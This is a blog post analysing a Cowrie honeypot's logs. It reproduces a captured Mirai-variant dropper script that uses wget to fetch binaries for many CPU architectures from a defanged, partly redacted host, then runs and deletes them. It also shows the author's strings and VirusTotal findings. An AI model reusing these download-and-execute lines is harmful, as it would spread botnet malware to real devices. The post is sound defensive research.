Playing with honeypots: part 3

If you've been following along thank you for joining me.  For those of you just catching up, I recommend reading part one (for discussions on what a honeypot is) and part two (to see what I've built).  For this third post I'll look at the logs from my honeypot, examining what my attackers did to my environment.

I put the honeypot live on the 4th August and it was being attacked within the hour.  The last time I did similar research was with a Remote Desktop Protocol (RDP) Windows server for my Masters assignment - that took a day to be discovered.  It's probably obvious, but the number of devices (and thus attackers) has certainly grown since I did that study about eight years ago.

Looking at the logs I we can see there are many attempts at running commands after the attacker (possibly an automated script) has logged in to honeypot.  Handily Cowrie rotates the log files, giving me a new file each day, rather than overwriting them.  As a result I had eleven log files to look through - I turned to grep to look for the string "Executing command" and got many results.  I'll look at some of these below.

For the first attack, interestingly, but not surprisingly, the attacker didn't attempt to determine which flavour of Linux was being used, instead attempting to install software by calling both yum (for RedHat / CentOS) and apt (Debian based Linuxes).  Should one package manager fail (not found) then the next command would run automatically.  An excerpt is shown below:

yum install wget -y; apt install wget -y

There was also no attempt to see if wget was already installed - the attacker simply went to install wget before attempting to use it as installing it again won't cause a problem.  wget is a handy tool for downloading files from the world wide web, and our attackers made a lot of use of wget to get their malicious files.

Getting the attack files

By the time I went to study the attacks some of the attack files had been removed.  It's quite likely the files were served from compromised third parties, who then cleared up.

toffeeuser@UBU-HNY-01:~/attackerFiles/$ wget  http://45.133.X.Y/x86_64
--2021-08-14 14:49:13--  http://45.133.X.Y/x86_64
Connecting to 45.133.X.Y:80... connected.
HTTP request sent, awaiting response... 404 Not Found
2021-08-14 14:49:13 ERROR 404: Not Found.

Hitting a dead end with one attack (above) I looked at the commands executed by another.  A script called Gbotbins.sh was downloaded using wget and I was able to get a copy, shown below.  Note that I've redacted the IP and changed the protocol from HTTP to HXXP.

#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://212.192.X.Y/MIPS; chmod +x MIPS; ./MIPS; rm -rf MIPS
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://212.192.X.Y/MIPSEL; chmod +x MIPSEL; ./MIPSEL; rm -rf MIPSEL
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://212.192.X.Y/SH4; chmod +x SH4; ./SH4; rm -rf SH4
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://212.192.X.Y/X86_64; chmod +x X86_64; ./X86_64; rm -rf X86_64
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://212.192.X.Y/ARMV6L; chmod +x ARMV6L; ./ARMV6L; rm -rf ARMV6L
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://212.192.X.Y/I686; chmod +x I686; ./I686; rm -rf I686
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://212.192.X.Y/POWERPC; chmod +x POWERPC; ./POWERPC; rm -rf POWERPC
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://212.192.X.Y/I586; chmod +x I586; ./I586; rm -rf I586
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://212.192.X.Y/M68K; chmod +x M68K; ./M68K; rm -rf M68K
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://212.192.X.Y/SPARC; chmod +x SPARC; ./SPARC; rm -rf SPARC
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://212.192.X.Y/ARMV4L; chmod +x ARMV4L; ./ARMV4L; rm -rf ARMV4L
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://212.192.X.Y/ARMV5L; chmod +x ARMV5L; ./ARMV5L; rm -rf ARMV5L

Once again the attacker gets a file from a remote web server using wget, and then makes it executable using chmod +x.  Once the file is downloaded and made executable the script tries to run the file ( e.g. ./MIPSEL) before deleting the file via rm -rf.  Unlike Windows, Linux doesn't have a concept of file locking so you can delete the file while it's running - moving the attack entirely into RAM (memory).

File names in that script relate to different processor architectures and the attacker doesn't need to be careful about which one they try to run (and makes no attempt to check).  Trying to run an exectuable program that's compiled for a different architecture results in an error, after which the script simply moves on to the next one.

toffeeuser@UBU-HNY-01:~/attackerFiles$ ./MIPSEL 
-bash: ./MIPSEL: cannot execute binary file: Exec format error

Running a tool called strings against the malicious program shows all the human readable text in the file.  This yields some interesting results.  Some are clearly junk:

• suH1
• s`H1
• uUL1
• sBH1

While others are of more interest:

• Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36
  A user agent string, like your browser sends to web servers when connecting
• /bin/sh
  A Linux shell
• YakuzaBotnet
  Seems to be a Mirai botnet variant - see Juniper's article for more info
• Scarface1337Self Rep Fucking NeTiS and Thisity 0n Ur FuCkInG FoReHeAd We BiG L33T HaxErS
• /x8r/x58/x99/x21/x8r/x58/x99/x21/x8r/x58/x99/x21/x8r/x58
  Hexadecimal string that's likely evaluated by the malware (only a partial string here)

Running my executable sample through VirusTotal we can see 32 security vendors flagged the file as malicious with Mirai being mentioned a number of times.

Running the malware

I'm going to be throwing away this virtual machine so I decided to run the malware.  After hitting enter I received a very strange response:

toffeeuser@UBU-HNY-01:~/attackerFiles$ ./X86_64 
gosh that chinese family at the other table sure ate alot

What's interesting is that the phrase "gosh that chinese family at the other table sure ate alot" isn't present in the strings output, suggesting either the response came from a remote host or was generated by the malware programatically.  Running the sample again gave the same result.

I took a network traffic capture, using tcpdump, while running the malware and ended up with a 3.3GB capture file.  That's a lot to process and may feature in a subsequent blog post, but I couldn't find "gosh" as a string in that capture either - not in plain text anyway.  There's access to a server hosted by OVH but I've not dug into that too closely as yet.

Next up

I've got some more log files to look at, and there's definitely an attempt at installing a crypto currency miner, so my next post in this series will look at another attack against the honeypot.  I hope you'll join me.

Banner image: MIELE by dordy on OpenClipart.org (modified) with an added Azure virtual machine logo and Bad Bug by ericlemerdy.